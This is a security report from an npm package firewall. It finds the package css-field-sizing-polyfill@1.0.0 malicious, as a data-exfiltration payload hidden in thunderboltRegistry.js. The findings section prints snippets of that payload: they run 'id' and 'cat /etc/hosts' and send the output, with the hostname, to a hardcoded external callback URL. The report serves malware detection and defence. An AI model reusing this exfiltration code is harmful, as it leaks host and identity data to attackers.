--- canonical: "https://firewall.lpm.dev/npm/css-field-sizing-polyfill/v/1.0.0" markdown: "https://firewall.lpm.dev/npm/css-field-sizing-polyfill/v/1.0.0.md" package: "css-field-sizing-polyfill" report_status: "published" title: "css-field-sizing-polyfill@1.0.0 npm security report" verdict: "malicious" version: "1.0.0" --- # css-field-sizing-polyfill@1.0.0 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked & quarantined** — Discloses hostname, user identity, operating system and network information, and /etc/hosts contents. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Matched malicious - **Public report status:** Published - **Threat category:** Data Exfiltration - **Selected version:** 1.0.0 - **Selected version is latest:** Yes - **Analysis source:** AI Security Review (lpm-firewall-ai) Trusted malware advisory MAL-2026-17478 identifies this version as malicious. Firewall keeps the version blocked under its trusted-intelligence policy. An AI recommendation to allow or warn does not override that advisory. AI assessment: malicious; recommendation: publish block. This assessment is supporting evidence; the published decision above determines the current policy. The published registry module executes system reconnaissance and transmits results to an external endpoint when loaded. Its registry manifest exposes that module through several asset mappings. ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 99.0% - **Started:** 2026-10-03T21:47:42.829Z - **Finished:** 2026-10-03T21:48:42.897Z - **Download time:** 516 ms - **Static scan time:** 15 ms - **AI review time:** 59536 ms - **Total time:** 60068 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The published registry module executes system reconnaissance and transmits results to an external endpoint when loaded. Its registry manifest exposes that module through several asset mappings. - **Trigger:** Loading thunderboltRegistry.js in an environment with the relevant Node.js APIs and fetch available. - **Impact:** Discloses hostname, user identity, operating system and network information, and /etc/hosts contents. - **Evidence paths:** thunderboltRegistry.js, registry-manifest.min.json, package.json - **Review source:** ai\_review - **Reviewed:** 2026-10-03T21:48:42.897Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** An immediately invoked function runs shell commands, reads host information, and sends URL-encoded results through HTTP requests to a hardcoded recipient. - **Attack narrative:** A consumer loading one of the mapped registry assets executes the payload immediately. It collects system information with shell commands and sends the results, together with the hostname, to a hardcoded external HTTP endpoint. The empty default entrypoint limits activation but does not neutralize the executable module distributed through the registry manifest. - **Rationale:** Inspected source proves automatic system-data exfiltration upon loading the published registry module, unrelated to CSS field sizing. The payload is executable attack code, although ordinary package import and installation do not trigger it. - **Files touched:** /etc/hosts - **Network endpoints:** http://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f, https://static.parastorage.com/unpkg/css-field-sizing-polyfill@1.0.0/thunderboltRegistry.js ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for block:** thunderboltRegistry.js sends collected data and the hostname to a hardcoded external HTTP endpoint., Loading thunderboltRegistry.js executes identity commands and sends their output without a caller consent gate., The same payload reads /etc/hosts and sends up to 2,000 characters of its contents., registry-manifest.min.json maps several registry assets to the executable payload hosted on static.parastorage.com., package.json includes the payload and registry manifest in published files. - **Evidence against:** There are no npm lifecycle hooks, and the default index.js entrypoint only exports an empty object., Payload activation requires loading thunderboltRegistry.js; ordinary package import does not activate it. ## Affected versions and remediation This report applies to css-field-sizing-polyfill@1.0.0. - Avoid installing css-field-sizing-polyfill@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Medium: Network - **Category:** Source - **Confidence:** 75.0% Package source references network APIs. ### 2. High: Sandbox Evasion Gated Capability - **Category:** Source - **Confidence:** 84.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks. Public source snippet (untrusted): ```javascript L10: L11: var wh = "http://dxpoc.gt.tc/callback.[redacted]"; L12: var site = "unknown"; L13: try { site = require("os").hostname(); } catch(e) {} L14: var exfil = function(params) { ... L18: var cp = null; L19: try { cp = require("child_process"); } catch(e) {} L20: try { if (!cp) cp = require("node:child_process"); } catch(e) {} ``` ### 3. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 4. High: Known Malware Source Similarity - **Category:** Static - **Confidence:** 97.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() Source file is highly similar to a previously finalized malicious package; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = normalized_sha256 matchedPackage = css-anchor-pos-fallback@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:Y3NzLWFuY2hvci1wb3MtZmFsbGJhY2s:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source ``` ### 5. High: Known Malware Source Fingerprint Signature - **Category:** Supply Chain - **Confidence:** 94.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() Source fingerprint signature matches a known malicious package signature; route for source-aware review. Public source snippet (untrusted): ```javascript matchType = malicious_source_fingerprint_signature signature = e9cbfffc3017b8e0 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = css-anchor-pos-fallback@1.0.0 matchedPath = thunderboltRegistry.js matchedIdentity = npm:Y3NzLWFuY2hvci1wb3MtZmFsbGJhY2s:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious ``` ### 6. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() thunderboltRegistry.js sends collected data and the hostname to a hardcoded external HTTP endpoint. Public source snippet (untrusted): ```javascript var wh = "http://dxpoc.gt.tc/callback.[redacted]"; var site = "unknown"; try { site = require("os").hostname(); } catch(e) {} var exfil = function(params) { try { fetch(wh + "?" + params + "&site=" + encodeURIComponent(site)).catch(function(){}); } catch ``` ### 7. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() Loading thunderboltRegistry.js executes identity commands and sends their output without a caller consent gate. Public source snippet (untrusted): ```javascript var idout = cp.execSync("id 2>/dev/null || echo no-id", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=id&out=" + encodeURIComponent(idout)); } catch(e) {} try { ``` ### 8. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** thunderboltRegistry.js - **Public source:** [View source]() The same payload reads /etc/hosts and sends up to 2,000 characters of its contents. Public source snippet (untrusted): ```javascript var etchosts = cp.execSync("cat /etc/hosts", {encoding: "utf8", timeout: 5000}).trim(); exfil("cmd=cat-etc-hosts&out=" + encodeURIComponent(etchosts.substring(0, 2000))); } catch(e) {} } var nv = "no", pl = "no", pi ``` ### 9. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** registry-manifest.min.json - **Public source:** [View source]() registry-manifest.min.json maps several registry assets to the executable payload hosted on static.parastorage.com. Public source snippet (untrusted): ```json "thunderboltRegistry.js": "https://static.parastorage.com/unpkg/css-field-sizing-polyfill@1.0.0/thunderboltRegistry.js", ``` ### 10. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() package.json includes the payload and registry manifest in published files. Public source snippet (untrusted): ```json "main": "index.js", "files": ["registry-manifest.min.json","thunderboltRegistry.js","index.js"], "keywor ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** css-field-sizing-polyfill - **Ecosystem:** npm - **Version:** 1.0.0 - **License:** MIT - **Version published:** 2026-10-03T00:56:52.455Z - **Package first seen:** 2026-10-03T21:48:42.897Z - **Package last seen:** 2026-10-03T21:48:42.897Z - **Known versions:** 1 - **Latest version:** 1.0.0 - **Appeal under review:** No - **Description:** Polyfill for CSS field-sizing property - **Keywords:** css, field-sizing, polyfill, forms - **Artifact files:** 4 - **Artifact unpacked size:** 4,960 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [OSV advisory]() - [PACKAGE]()